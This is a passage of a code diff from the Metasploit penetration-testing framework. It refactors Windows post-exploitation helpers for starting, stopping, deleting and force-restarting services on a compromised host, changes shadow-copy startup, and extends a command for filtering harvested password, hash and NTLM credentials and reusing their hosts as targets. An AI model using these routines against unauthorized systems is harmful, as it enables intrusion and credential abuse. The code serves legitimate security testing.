# _In_ LPCTSTR lpServiceName,
# _In_ DWORD dwDesiredAccess
# );
# open with access SERVICE_START (0x0010)
handle = adv.OpenServiceA(manager, name, 0x10)
if(handle["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
end
retval = adv.StartServiceA(handle["return"],0,nil)
adv.CloseServiceHandle(handle["return"])
open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
open_service_handle(manager, name, "SERVICE_START") do |service_handle|
retval = advapi32.StartServiceA(service_handle,0,nil)
# This is terrible. Magic return values should be refactored to
# something meaningful.
case retval["GetLastError"]
when 0; return 0 # everything worked
when 1056; return 1 # service already started
when 1058; return 2 # service disabled
return retval["GetLastError"]
end
end
end
@ -260,22 +402,21 @@ module Services
# @raise (see #service_start)
#
def service_stop(name, server=nil)
adv = session.railgun.advapi32
open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
open_service_handle(manager, name, "SERVICE_STOP") do |service_handle|
# SC_MANAGER_SERVICE_STOP (0x0020)
open_sc_manager(:host=>server, :access=>1) do |manager|
# open with SERVICE_STOP (0x0020)
handle = adv.OpenServiceA(manager, name, 0x20)
if(handle["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
end
retval = adv.ControlService(handle["return"],1,56)
adv.CloseServiceHandle(handle["return"])
retval = advapi32.ControlService(service_handle,1,28)
case retval["GetLastError"]
when Error::SUCCESS,
Error::INVALID_SERVICE_CONTROL,
Error::SERVICE_CANNOT_ACCEPT_CTRL,
Error::SERVICE_NOT_ACTIVE
status = parse_service_status_struct(retval['lpServiceStatus'])
else
status = nil
end
case retval["GetLastError"]
when 0; return 0 # worked
when 1062; return 1 # already stopped or disabled
when 1052; return 2 # cannot be stopped
return retval["GetLastError"]
end
end
end
@ -286,24 +427,11 @@ module Services
# @param (see #service_start)
#
def service_delete(name, server=nil)
adv = session.railgun.advapi32
open_sc_manager(:host=>server) do |manager|
# Now to grab a handle to the service.
# Thank you, Wine project for defining the DELETE constant since it,
# and all its friends, are missing from the MSDN docs.
# #define DELETE 0x00010000
handle = adv.OpenServiceA(manager, name, 0x10000)
if (handle["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
open_service_handle(manager, name, "DELETE") do |service_handle|
ret = advapi32.DeleteService(service_handle)
return ret["GetLastError"]
end
# Lastly, delete it
adv.DeleteService(handle["return"])
adv.CloseServiceHandle(handle["return"])
handle["GetLastError"]
end
end
@ -318,38 +446,109 @@ module Services
#
#
def service_status(name, server=nil)
adv = session.railgun.advapi32
ret = nil
# 0x80000000 GENERIC_READ
open_sc_manager(:host => server, :access => 0x80000000) do |manager|
# Now to grab a handle to the service.
handle = adv.OpenServiceA(manager, name, 0x80000000)
if (handle["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
open_sc_manager(:host => server, :access => "GENERIC_READ") do |manager|
open_service_handle(manager, name, "GENERIC_READ") do |service_handle|
status = advapi32.QueryServiceStatus(service_handle,28)
if (status["return"] == 0)
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}")
else
ret = parse_service_status_struct(status['lpServiceStatus'])
end
end
status = adv.QueryServiceStatus(handle["return"],28)
if (status["return"] == 0)
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{handle["GetLastError"]}")
end
vals = status['lpServiceStatus'].unpack('V*')
adv.CloseServiceHandle(handle["return"])
ret = {
:type => vals[0],
:state => vals[1],
:controls_accepted => vals[2],
:win32_exit_code => vals[3],
:service_exit_code => vals[4],
:check_point => vals[5],
:wait_hint => vals[6]
}
end
return ret
end
#
# Performs an aggressive service (re)start
# If service is disabled it will re-enable
# If service is running it will stop and restart
#
# @param name [String] The service name
# @param start_type [Integer] The start type to configure if disabled
# @param server [String] The server to target
#
# @return [Boolean] indicating success
#
#
def service_restart(name, start_type=START_TYPE_AUTO, server=nil)
tried = false
begin
status = service_start(name, server)
if status == Error::SUCCESS
vprint_good("[#{name}] Service started")
return true
else
raise RuntimeError, status
end
rescue RuntimeError => s
if tried
vprint_error("[#{name}] Unhandled error: #{s}")
return false
else
tried = true
end
case s.message.to_i
when Error::ACCESS_DENIED
vprint_error("[#{name}] Access denied")
when Error::INVALID_HANDLE
vprint_error("[#{name}] Invalid handle")
when Error::PATH_NOT_FOUND
vprint_error("[#{name}] Service binary could not be found")
when Error::SERVICE_ALREADY_RUNNING
vprint_status("[#{name}] Service already running attempting to stop and restart")
stopped = service_stop(name, server)
if ((stopped == Error::SUCCESS) || (stopped == Error::SERVICE_NOT_ACTIVE))
retry
else
vprint_error("[#{name}] Service disabled, unable to change start type Error: #{stopped}")
end
when Error::SERVICE_DISABLED
vprint_status("[#{name}] Service disabled attempting to set to manual")
if (service_change_config(name, {:starttype => start_type}, server) == Error::SUCCESS)
retry
else
vprint_error("[#{name}] Service disabled, unable to change start type")
end
else
vprint_error("[#{name}] Unhandled error: #{s}")
return false
end
end
end
#
# Parses out a SERVICE_STATUS struct from the
# lpServiceStatus out parameter
#
# @param (lpServiceStatus)
#
# @return [Hash] Containing SERVICE_STATUS values
#
def parse_service_status_struct(lpServiceStatus)
if lpServiceStatus
vals = lpServiceStatus.unpack('V*')
return {
:type => vals[0],
:state => vals[1],
:controls_accepted => vals[2],
:win32_exit_code => vals[3],
:service_exit_code => vals[4],
:check_point => vals[5],
:wait_hint => vals[6]
}
else
return nil
end
end
end
end

View File

@ -175,25 +175,9 @@ module ShadowCopy
print_status("Volume Shadow Copy service is running.")
else
print_status("Volume Shadow Copy service not running. Starting it now...")
begin
ss_result = service_start("VSS")
case ss_result
when 0
print_status("Volume Shadow Copy started successfully.")
when 1
print_error("Volume Shadow Copy already running.")
when 2
print_error("Volume Shadow Copy is disabled.")
print_status("Attempting to re-enable...")
service_change_startup("VSS","manual")
ss_result = service_start("VSS")
if ss_result == 0
return true
else
return false
end
end
rescue
if service_restart("VSS", START_TYPE_MANUAL)
print_good("Volume Shadow Copy started successfully.")
else
print_error("Insufficient Privs to start service!")
return false
end

View File

@ -98,7 +98,7 @@ module Msf::HTTP::Wordpress::Version
# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = res.body.to_s[/(?:stable tag|version): (?!trunk)([0-9a-z.-]+)/i, 1]
version = res.body.to_s[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
# readme present, but no version number
return Msf::Exploit::CheckCode::Detected if version.nil?

View File

@ -2834,73 +2834,72 @@ class Core
res = []
res << o.default.to_s if o.default
case o.class.to_s
when 'Msf::OptAddress'
case o.name.upcase
when 'RHOST'
option_values_target_addrs().each do |addr|
res << addr
end
when 'LHOST'
rh = self.active_module.datastore["RHOST"]
if rh and not rh.empty?
res << Rex::Socket.source_address(rh)
else
res << Rex::Socket.source_address()
end
else
case o
when Msf::OptAddress
case o.name.upcase
when 'RHOST'
option_values_target_addrs().each do |addr|
res << addr
end
when 'Msf::OptAddressRange'
case str
when /^file:(.*)/
files = tab_complete_filenames($1, words)
res += files.map { |f| "file:" + f } if files
when /\/$/
res << str+'32'
res << str+'24'
res << str+'16'
when /\-$/
res << str+str[0, str.length - 1]
else
option_values_target_addrs().each do |addr|
res << addr+'/32'
res << addr+'/24'
res << addr+'/16'
end
when 'LHOST'
rh = self.active_module.datastore["RHOST"]
if rh and not rh.empty?
res << Rex::Socket.source_address(rh)
else
res << Rex::Socket.source_address()
end
else
end
when 'Msf::OptPort'
case o.name.upcase
when 'RPORT'
option_values_target_ports().each do |port|
res << port
end
when Msf::OptAddressRange
case str
when /^file:(.*)/
files = tab_complete_filenames($1, words)
res += files.map { |f| "file:" + f } if files
when /\/$/
res << str+'32'
res << str+'24'
res << str+'16'
when /\-$/
res << str+str[0, str.length - 1]
else
option_values_target_addrs().each do |addr|
res << addr+'/32'
res << addr+'/24'
res << addr+'/16'
end
end
if (res.empty?)
res << (rand(65534)+1).to_s
when Msf::OptPort
case o.name.upcase
when 'RPORT'
option_values_target_ports().each do |port|
res << port
end
end
when 'Msf::OptEnum'
o.enums.each do |val|
res << val
end
if (res.empty?)
res << (rand(65534)+1).to_s
end
when 'Msf::OptPath'
files = tab_complete_filenames(str, words)
res += files if files
when Msf::OptEnum
o.enums.each do |val|
res << val
end
when 'Msf::OptBool'
res << 'true'
res << 'false'
when Msf::OptPath
files = tab_complete_filenames(str, words)
res += files if files
when 'Msf::OptString'
if (str =~ /^file:(.*)/)
files = tab_complete_filenames($1, words)
res += files.map { |f| "file:" + f } if files
end
when Msf::OptBool
res << 'true'
res << 'false'
when Msf::OptString
if (str =~ /^file:(.*)/)
files = tab_complete_filenames($1, words)
res += files.map { |f| "file:" + f } if files
end
end
return res

View File

@ -68,6 +68,10 @@ class Db
]
end
def allowed_cred_types
%w(password ntlm hash)
end
#
# Returns true if the db is connected, prints an error and returns
# false if not.
@ -676,6 +680,8 @@ class Db
print_line " -p,--port <portspec> List creds with logins on services matching this port spec"
print_line " -s <svc names> List creds matching comma-separated service names"
print_line " -u,--user <regex> List users that match this regex"
print_line " -t,--type <type> List creds that match the following types: #{allowed_cred_types.join(',')}"
print_line " -R,--rhosts Set RHOSTS from the results of the search"
print_line
print_line "Examples, listing:"
@ -683,6 +689,7 @@ class Db
print_line " creds 1.2.3.4/24 # nmap host specification"
print_line " creds -p 22-25,445 # nmap port specification"
print_line " creds -s ssh,smb # All creds associated with a login on SSH or SMB services"
print_line " creds -t ntlm # All NTLM creds"
print_line
print_line
@ -760,6 +767,9 @@ class Db
host_ranges = []
port_ranges = []
svcs = []
rhosts = []
set_rhosts = false
#cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ]
cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ]
@ -806,6 +816,8 @@ class Db
end
when "-d"
mode = :delete
when '-R', '--rhosts'
set_rhosts = true
else
# Anything that wasn't an option is a host to search for
unless (arg_host_range(arg, host_ranges))
@ -822,6 +834,20 @@ class Db
pass_regex = Regexp.compile(pass)
end
if ptype
type = case ptype
when 'password'
Metasploit::Credential::Password
when 'hash'
Metasploit::Credential::PasswordHash
when 'ntlm'
Metasploit::Credential::NTLMHash
else
print_error("Unrecognized credential type #{ptype} -- must be one of #{allowed_cred_types.join(',')}")
return
end
end
# normalize
ports = port_ranges.flatten.uniq
svcs.flatten!
@ -839,6 +865,9 @@ class Db
query.each do |core|
# Exclude creds that don't match the given type
next if type.present? && !core.private.kind_of?(type)
# Exclude creds that don't match the given user
if user_regex.present? && !core.public.username.match(user_regex)
next
@ -880,6 +909,7 @@ class Db
next
end
row = [ login.service.host.address ]
rhosts << login.service.host.address
if login.service.name.present?
row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})"
else
@ -908,7 +938,8 @@ class Db
::File.open(output_file, "wb") { |f| f.write(tbl.to_csv) }
print_status("Wrote creds to #{output_file}")
end
set_rhosts_from_addrs(rhosts.uniq) if set_rhosts
print_status("Deleted #{delete_count} creds") if delete_count > 0
}
end

View File

@ -1291,7 +1291,7 @@ class Site
xml << ' <ScanTriggers>'
@site_config.scanConfig.scanTriggers.each do |s|
if (s.class.to_s == "Nexpose::AutoUpdate")
if s.kind_of?(Nexpose::AutoUpdate)
xml << ' <autoUpdate enabled="' + s.enabled + '" incremental="' + s.incremental + '"/>'
end
end

View File

@ -159,15 +159,13 @@ class ClientCore < Extension
path = MeterpreterBinaries.path(modname, client.binary_suffix)
if opts['ExtensionPath']
path = opts['ExtensionPath']
path = ::File.expand_path(opts['ExtensionPath'])
end
if path.nil?
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
end
path = ::File.expand_path(path)
# Load the extension DLL
commands = load_library(
'LibraryFilePath' => path,

View File

@ -50,8 +50,6 @@ class Priv < Extension
raise RuntimeError, "elevator.#{binary_suffix} not found", caller
end
elevator_path = ::File.expand_path( elevator_path )
elevator_data = ""
::File.open( elevator_path, "rb" ) { |f|

View File

@ -203,10 +203,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
alias delete rm
end
#
# Performs a rename from oldname to newname
#
def File.mv(oldname, newname)
#
# Performs a rename from oldname to newname
#
def File.mv(oldname, newname)
request = Packet.create_request('stdapi_fs_file_move')
request.add_tlv(TLV_TYPE_FILE_NAME, client.unicode_filter_decode( oldname ))
@ -215,12 +215,12 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
response = client.send_request(request)
return response
end
end
class << self
alias move mv
alias rename mv
end
class << self
alias move mv
alias rename mv
end
#
# Upload one or more files to the remote remote directory supplied in

View File

@ -370,7 +370,6 @@ class ApiConstants
win_const_mgr.add_const('SQL_CVT_LONGVARBINARY',0x00040000)
win_const_mgr.add_const('WM_RESTORE_INDIVIDUALIZE',0x00000002)
win_const_mgr.add_const('ARRAY_SEP_CHAR',0x00000009)
win_const_mgr.add_const('SC_MANAGER_CREATE_SERVICE',0x00000002)
win_const_mgr.add_const('ERROR_NO_SAVEPOINT_WITH_OPEN_FILES',0x00001ABA)
win_const_mgr.add_const('OID_FDDI_SMT_STATION_ACTION',0x03030277)
win_const_mgr.add_const('OID_PNP_ADD_WAKE_UP_PATTERN',0xFD010103)
@ -2357,7 +2356,70 @@ class ApiConstants
win_const_mgr.add_const('RTM_VIEW_MASK_UCAST',0x00000001)
win_const_mgr.add_const('CERT_ALT_NAME_VALUE_ERR_INDEX_MASK',0x0000FFFF)
win_const_mgr.add_const('ERROR_NO_SUCH_GROUP',0x00000527)
# Generic Access Rights
win_const_mgr.add_const('GENERIC_ALL',0x10000000)
win_const_mgr.add_const('GENERIC_EXECUTE',0x20000000)
win_const_mgr.add_const('GENERIC_WRITE',0x40000000)
win_const_mgr.add_const('GENERIC_READ',0x80000000)
# Standard Access Rights
win_const_mgr.add_const('DELETE',0x00010000)
win_const_mgr.add_const('READ_CONTROL',0x00020000)
win_const_mgr.add_const('WRITE_DAC',0x00040000)
win_const_mgr.add_const('WRITE_OWNER',0x00080000)
win_const_mgr.add_const('ACCESS_SYSTEM_SECURITY',0x01000000)
# Services
win_const_mgr.add_const('SERVICE_NO_CHANGE',0xFFFFFFFF)
# Service Start Types
win_const_mgr.add_const('START_TYPE_BOOT',0x00000000)
win_const_mgr.add_const('START_TYPE_SYSTEM',0x00000001)
win_const_mgr.add_const('START_TYPE_AUTO',0x00000002)
win_const_mgr.add_const('START_TYPE_MANUAL',0x00000003)
win_const_mgr.add_const('START_TYPE_DISABLED',0x00000004)
# Service States
win_const_mgr.add_const('SERVICE_STOPPED',0x00000001)
win_const_mgr.add_const('SERVICE_START_PENDING',0x00000002)
win_const_mgr.add_const('SERVICE_STOP_PENDING',0x00000003)
win_const_mgr.add_const('SERVICE_RUNNING',0x00000004)
win_const_mgr.add_const('SERVICE_CONTINUE_PENDING',0x00000005)
win_const_mgr.add_const('SERVICE_PAUSE_PENDING',0x00000006)
win_const_mgr.add_const('SERVICE_PAUSED',0x00000007)
# Service Types
win_const_mgr.add_const('SERVICE_KERNEL_DRIVER',0x00000001)
win_const_mgr.add_const('SERVICE_FILE_SYSTEM_DRIVER',0x00000002)
win_const_mgr.add_const('SERVICE_ADAPTER',0x00000004)
win_const_mgr.add_const('SERVICE_RECOGNIZER_DRIVER',0x00000008)
win_const_mgr.add_const('SERVICE_WIN32_OWN_PROCESS',0x00000010)
win_const_mgr.add_const('SERVICE_WIN32_SHARE_PROCESS',0x00000020)
# Service Manager Permissions
win_const_mgr.add_const('SC_MANAGER_CONNECT',0x00000001)
win_const_mgr.add_const('SC_MANAGER_CREATE_SERVICE',0x00000002)
win_const_mgr.add_const('SC_MANAGER_ENUMERATE_SERVICE',0x00000004)
win_const_mgr.add_const('SC_MANAGER_LOCK',0x00000008)
win_const_mgr.add_const('SC_MANAGER_QUERY_LOCK_STATUS',0x00000010)
win_const_mgr.add_const('SC_MANAGER_MODIFY_BOOT_CONFIG',0x00000020)
win_const_mgr.add_const('SC_MANAGER_USER_DEFINED_CONTROL',0x00000100)
win_const_mgr.add_const('SC_MANAGER_ALL_ACCESS',0x000F003F)
# Service Permissions
win_const_mgr.add_const('SERVICE_QUERY_CONFIG',0x00000001)
win_const_mgr.add_const('SERVICE_CHANGE_CONFIG',0x00000002)
win_const_mgr.add_const('SERVICE_QUERY_STATUS',0x00000004)
win_const_mgr.add_const('SERVICE_ENUMERATE_DEPENDENTS',0x00000008)
win_const_mgr.add_const('SERVICE_START',0x00000010)
win_const_mgr.add_const('SERVICE_STOP',0x00000020)
win_const_mgr.add_const('SERVICE_PAUSE_CONTINUE',0x00000040)
win_const_mgr.add_const('SERVICE_INTERROGATE',0x00000080)
win_const_mgr.add_const('SERVICE_USER_DEFINED_CONTROL',0x00000100)
win_const_mgr.add_const('SERVICE_ALL_ACCESS',0x000F01FF)
win_const_mgr.add_const('LINEINITIALIZEEXOPTION_USECOMPLETIONPORT',0x00000003)
win_const_mgr.add_const('AVIIF_TWOCC',0x00000002)
win_const_mgr.add_const('TBTS_LEFT',0x00000001)
@ -3408,7 +3470,6 @@ class ApiConstants
win_const_mgr.add_const('SQL_DS_RESTRICT',0x00000002)
win_const_mgr.add_const('SQL_FD_FETCH_NEXT',0x00000001)
win_const_mgr.add_const('HTTP_QUERY_ACCEPT_LANGUAGE',0x0000001B)
win_const_mgr.add_const('SC_MANAGER_LOCK',0x00000008)
win_const_mgr.add_const('CM_CDMASK_VALID',0x0000000F)
win_const_mgr.add_const('DI_NEEDRESTART',0x00000080)
win_const_mgr.add_const('DSOP_DOWNLEVEL_FILTER_NETWORK',0x80001000)
@ -4450,7 +4511,6 @@ class ApiConstants
win_const_mgr.add_const('WGL_SWAP_UNDERLAY1',0x00010000)
win_const_mgr.add_const('CRYPTDLG_ACTION_MASK',0xFFFF0000)
win_const_mgr.add_const('MCI_ANIM_WINDOW_HWND',0x00010000)
win_const_mgr.add_const('SERVICE_QUERY_CONFIG',0x00000001)
win_const_mgr.add_const('MF_MEDIATYPE_EQUAL_FORMAT_DATA',0x00000004)
win_const_mgr.add_const('USE_REMOTE_PARMNUM',0x00000002)
win_const_mgr.add_const('CF_PALETTE',0x00000009)
@ -5623,7 +5683,6 @@ class ApiConstants
win_const_mgr.add_const('SQL_DROP_VIEW',0x0000008F)
win_const_mgr.add_const('FEI_MODEM_POWERED_ON',0x00000011)
win_const_mgr.add_const('WNODE_FLAG_INTERNAL',0x00000100)
win_const_mgr.add_const('SERVICE_START_PENDING',0x00000002)
win_const_mgr.add_const('ERROR_SXS_INVALID_ACTCTXDATA_FORMAT',0x000036B2)
win_const_mgr.add_const('ACMFILTERTAGDETAILS_FILTERTAG_CHARS',0x00000030)
win_const_mgr.add_const('MAPI_E_ATTACHMENT_WRITE_FAILURE',0x0000000D)
@ -9255,7 +9314,6 @@ class ApiConstants
win_const_mgr.add_const('TAPE_SPACE_RELATIVE_BLOCKS',0x00000005)
win_const_mgr.add_const('DBT_DEVICEARRIVAL',0x00008000)
win_const_mgr.add_const('IMAGE_REL_ALPHA_REFHI',0x0000000A)
win_const_mgr.add_const('SERVICE_WIN32_SHARE_PROCESS',0x00000020)
win_const_mgr.add_const('R2_NOTCOPYPEN',0x00000004)
win_const_mgr.add_const('POLICY_ERRV_GLOBAL_GRP_PEAK_RATE',0x0000001A)
win_const_mgr.add_const('VTBIT_CY',0x00000001)
@ -9859,7 +9917,6 @@ class ApiConstants
win_const_mgr.add_const('DISPID_FILELISTENUMDONE',0x000000C9)
win_const_mgr.add_const('DBPROPVAL_IN_DISALLOWNULL',0x00000001)
win_const_mgr.add_const('PP_PROVTYPE',0x00000010)
win_const_mgr.add_const('SERVICE_PAUSE_PENDING',0x00000006)
win_const_mgr.add_const('MWMO_WAITALL',0x00000001)
win_const_mgr.add_const('PIR_STATUS_ERROR',0x00000000)
win_const_mgr.add_const('ERROR_DS_NO_DELETED_NAME',0x000020A3)
@ -10819,7 +10876,6 @@ class ApiConstants
win_const_mgr.add_const('LINEADDRCAPFLAGS_QUEUE',0x01000000)
win_const_mgr.add_const('PRINTER_ACCESS_ADMINISTER',0x00000004)
win_const_mgr.add_const('SECPKG_CALL_THREAD_TERM',0x00000080)
win_const_mgr.add_const('SERVICE_RECOGNIZER_DRIVER',0x00000008)
win_const_mgr.add_const('MD_DIRBROW_SHOW_EXTENSION',0x00000010)
win_const_mgr.add_const('HHWIN_BUTTON_BROWSE_BCK',0x00000001)
win_const_mgr.add_const('COLOR_WINDOWFRAME',0x00000006)
@ -11675,7 +11731,6 @@ class ApiConstants
win_const_mgr.add_const('PORT_UAAC',0x00000091)
win_const_mgr.add_const('D3DPBLENDCAPS_SRCALPHA',0x00000010)
win_const_mgr.add_const('CALLBACK_STREAM_SWITCH',0x00000001)
win_const_mgr.add_const('GENERIC_EXECUTE',0x20000000)
win_const_mgr.add_const('NUMPRS_PARENS',0x00000080)
win_const_mgr.add_const('SHI1005_FLAGS_FORCE_SHARED_DELETE',0x00000200)
win_const_mgr.add_const('SQL_HC_OFF',0x00000000)
@ -11965,7 +12020,6 @@ class ApiConstants
win_const_mgr.add_const('MCI_WAIT',0x00000002)
win_const_mgr.add_const('SPI_SETDROPSHADOW',0x00001025)
win_const_mgr.add_const('VK_OEM_PERIOD',0x000000BE)
win_const_mgr.add_const('SERVICE_CHANGE_CONFIG',0x00000002)
win_const_mgr.add_const('CERT_STORE_PROV_WRITE_CTL_FUNC',0x0000000A)
win_const_mgr.add_const('SUBLANG_TAMAZIGHT_ALGERIA_LATIN',0x00000002)
win_const_mgr.add_const('XECR_PKCS7',0x00000002)
@ -12173,7 +12227,6 @@ class ApiConstants
win_const_mgr.add_const('MCI_VCR_FREEZE_OUTPUT',0x00020000)
win_const_mgr.add_const('DEX_IDS_NO_SOURCE_NAMES',0x0000057D)
win_const_mgr.add_const('SQL_OUTER_JOINS',0x00000026)
win_const_mgr.add_const('SERVICE_ENUMERATE_DEPENDENTS',0x00000008)
win_const_mgr.add_const('CR_NO_SUCH_LOGICAL_DEV',0x00000014)
win_const_mgr.add_const('IDC_PS_DISPLAYASICON',0x000001FA)
win_const_mgr.add_const('GESTURE_UP_LEFT_LONG',0x00000000)
@ -12243,7 +12296,6 @@ class ApiConstants
win_const_mgr.add_const('ERROR_VOLSNAP_PREPARE_HIBERNATE',0x0000028F)
win_const_mgr.add_const('TMT_CAPTIONBARHEIGHT',0x000004B5)
win_const_mgr.add_const('IDM_ENABLE_INTERACTION',0x000008FE)
win_const_mgr.add_const('DELETE',0x00010000)
win_const_mgr.add_const('CRYPTUI_WIZ_DIGITAL_SIGN_PVK',0x00000003)
win_const_mgr.add_const('ERROR_CTX_MODEM_RESPONSE_NO_CARRIER',0x00001B65)
win_const_mgr.add_const('OE_SETTING',0x00000004)
@ -12431,7 +12483,7 @@ class ApiConstants
win_const_mgr.add_const('ET_DITHERMODE',0x00000004)
win_const_mgr.add_const('AA_A_ACL',0x00008000)
win_const_mgr.add_const('MCI_UPDATE',0x00000854)
win_const_mgr.add_const('READ_CONTROL',0x00020000)
win_const_mgr.add_const('ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST',0x00002157)
win_const_mgr.add_const('IDM_IE50_PASTE',0x00000961)
win_const_mgr.add_const('DB_NULL_HCHAPTER',0x00000000)
@ -12739,7 +12791,6 @@ class ApiConstants
win_const_mgr.add_const('OPF_DISABLECONVERT',0x00000008)
win_const_mgr.add_const('D3DPCMPCAPS_LESS',0x00000002)
win_const_mgr.add_const('D3DPRESENT_INTERVAL_TWO',0x00000002)
win_const_mgr.add_const('SERVICE_STOP',0x00000020)
win_const_mgr.add_const('WLX_OPTION_SMART_CARD_INFO',0x00010002)
win_const_mgr.add_const('MAX_LANA',0x000000FE)
win_const_mgr.add_const('PLATFORM_ID_VMS',0x000002BC)
@ -14732,7 +14783,6 @@ class ApiConstants
win_const_mgr.add_const('CDIS_GRAYED',0x00000002)
win_const_mgr.add_const('DISPID_QUIT',0x00000067)
win_const_mgr.add_const('LINETOLLLISTOPTION_REMOVE',0x00000002)
win_const_mgr.add_const('SERVICE_WIN32_OWN_PROCESS',0x00000010)
win_const_mgr.add_const('SM_FOCUS_TYPE_NT_DOMAIN',0x00000001)
win_const_mgr.add_const('WINHTTP_CALLBACK_STATUS_REQUEST_ERROR',0x00200000)
win_const_mgr.add_const('PORT_WPGS',0x0000030C)
@ -15353,7 +15403,6 @@ class ApiConstants
win_const_mgr.add_const('DEBUG_VSOURCE_MAPPED_IMAGE',0x00000002)
win_const_mgr.add_const('ERROR_DS_OBJ_STRING_NAME_EXISTS',0x00002071)
win_const_mgr.add_const('DPD_DELETE_ALL_FILES',0x00000004)
win_const_mgr.add_const('SERVICE_STOPPED',0x00000001)
win_const_mgr.add_const('DMPAPER_ENV_PERSONAL',0x00000026)
win_const_mgr.add_const('WM_RBUTTONDBLCLK',0x00000206)
win_const_mgr.add_const('SQL_CURRENT_QUALIFIER',0x0000006D)
@ -15754,7 +15803,6 @@ class ApiConstants
win_const_mgr.add_const('ERROR_ABANDONED_WAIT_0',0x000002DF)
win_const_mgr.add_const('SQL_API_SQLGETCURSORNAME',0x00000011)
win_const_mgr.add_const('UINT8_MAX',0x00000000)
win_const_mgr.add_const('SERVICE_NO_CHANGE',0x00000000)
win_const_mgr.add_const('AE_SRVCONT',0x00000002)
win_const_mgr.add_const('RPC_S_GRP_ELT_NOT_REMOVED',0x00000789)
win_const_mgr.add_const('ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT',0x0000083D)
@ -16075,7 +16123,6 @@ class ApiConstants
win_const_mgr.add_const('ERRCLASS_UNK',0x0000000D)
win_const_mgr.add_const('STREAM_MODIFIED_WHEN_READ',0x00000001)
win_const_mgr.add_const('SENSITIVITY_PROP_NORMAL',0x00000000)
win_const_mgr.add_const('SERVICE_INTERROGATE',0x00000080)
win_const_mgr.add_const('VK_BROWSER_FORWARD',0x000000A7)
win_const_mgr.add_const('IDM_BLOCKDIRLTR',0x00000930)
win_const_mgr.add_const('RF_LATTICE',0x00000800)
@ -17110,7 +17157,6 @@ class ApiConstants
win_const_mgr.add_const('TRUSTERROR_STEP_MESSAGE',0x00000008)
win_const_mgr.add_const('LB_SETTABSTOPS',0x00000192)
win_const_mgr.add_const('SQL_TL_ON',0x00000001)
win_const_mgr.add_const('SERVICE_FILE_SYSTEM_DRIVER',0x00000002)
win_const_mgr.add_const('SCRIPTPROP_GCCONTROLSOFTCLOSE',0x00002000)
win_const_mgr.add_const('OPATH_TOK_OPEN_PAREN',0x0000006A)
win_const_mgr.add_const('IMAGE_SYM_CLASS_REGISTER_PARAM',0x00000011)
@ -18538,7 +18584,6 @@ class ApiConstants
win_const_mgr.add_const('DEBUG_OUTCTL_ALL_OTHER_CLIENTS',0x00000002)
win_const_mgr.add_const('MAX_DDDEVICEID_STRING',0x00000200)
win_const_mgr.add_const('USN_REASON_RENAME_NEW_NAME',0x00002000)
win_const_mgr.add_const('WRITE_DAC',0x00040000)
win_const_mgr.add_const('BTH_ERROR_SUCCESS',0x00000000)
win_const_mgr.add_const('SERVER_SEARCH_FLAG_PHANTOM_ROOT',0x00000002)
win_const_mgr.add_const('SUBLANG_SINDHI_INDIA',0x00000001)
@ -20372,7 +20417,6 @@ class ApiConstants
win_const_mgr.add_const('KERB_CHECKSUM_CRC32',0x00000001)
win_const_mgr.add_const('IMC_SETCOMPOSITIONFONT',0x0000000A)
win_const_mgr.add_const('TVC_UNKNOWN',0x00000000)
win_const_mgr.add_const('SERVICE_RUNNING',0x00000004)
win_const_mgr.add_const('PORT_HMMP_INDICATION',0x00000264)
win_const_mgr.add_const('PARTID_MASK',0x00000000)
win_const_mgr.add_const('SSRVOPT_PARAMTYPE',0x00000100)
@ -20721,7 +20765,6 @@ class ApiConstants
win_const_mgr.add_const('CB_MAX_FILENAME',0x00000100)
win_const_mgr.add_const('MCI_VCR_SET_TRACKING',0x00400000)
win_const_mgr.add_const('LANG_SINDHI',0x00000059)
win_const_mgr.add_const('SERVICE_ADAPTER',0x00000004)
win_const_mgr.add_const('PCMCIA_DEF_MEMEND',0x00FFFFFF)
win_const_mgr.add_const('D3DPTEXTURECAPS_MIPCUBEMAP',0x00010000)
win_const_mgr.add_const('C2_NOTAPPLICABLE',0x00000000)
@ -20938,7 +20981,6 @@ class ApiConstants
win_const_mgr.add_const('CTF_REF_COUNTED',0x00000020)
win_const_mgr.add_const('MCI_DEVTYPE_CD_AUDIO',0x00000204)
win_const_mgr.add_const('D3DDEVCAPS_TLVERTEXSYSTEMMEMORY',0x00000040)
win_const_mgr.add_const('GENERIC_WRITE',0x40000000)
win_const_mgr.add_const('SE_GROUP_ENABLED',0x00000004)
win_const_mgr.add_const('PDH_REFRESHCOUNTERS',0x00000004)
win_const_mgr.add_const('ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED',0x000013D4)
@ -21904,7 +21946,6 @@ class ApiConstants
win_const_mgr.add_const('SHERB_NOCONFIRMATION',0x00000001)
win_const_mgr.add_const('DEBUG_REQUEST_TARGET_EXCEPTION_RECORD',0x00000003)
win_const_mgr.add_const('CERT_TRUST_INVALID_BASIC_CONSTRAINTS',0x00000400)
win_const_mgr.add_const('SERVICE_CONTINUE_PENDING',0x00000005)
win_const_mgr.add_const('URLACTION_ACTIVEX_RUN',0x00001200)
win_const_mgr.add_const('EMR_BITBLT',0x0000004C)
win_const_mgr.add_const('DEBUG_ASMOPT_DEFAULT',0x00000000)
@ -23291,7 +23332,6 @@ class ApiConstants
win_const_mgr.add_const('HLNF_DISABLEWINDOWRESTRICTIONS',0x00800000)
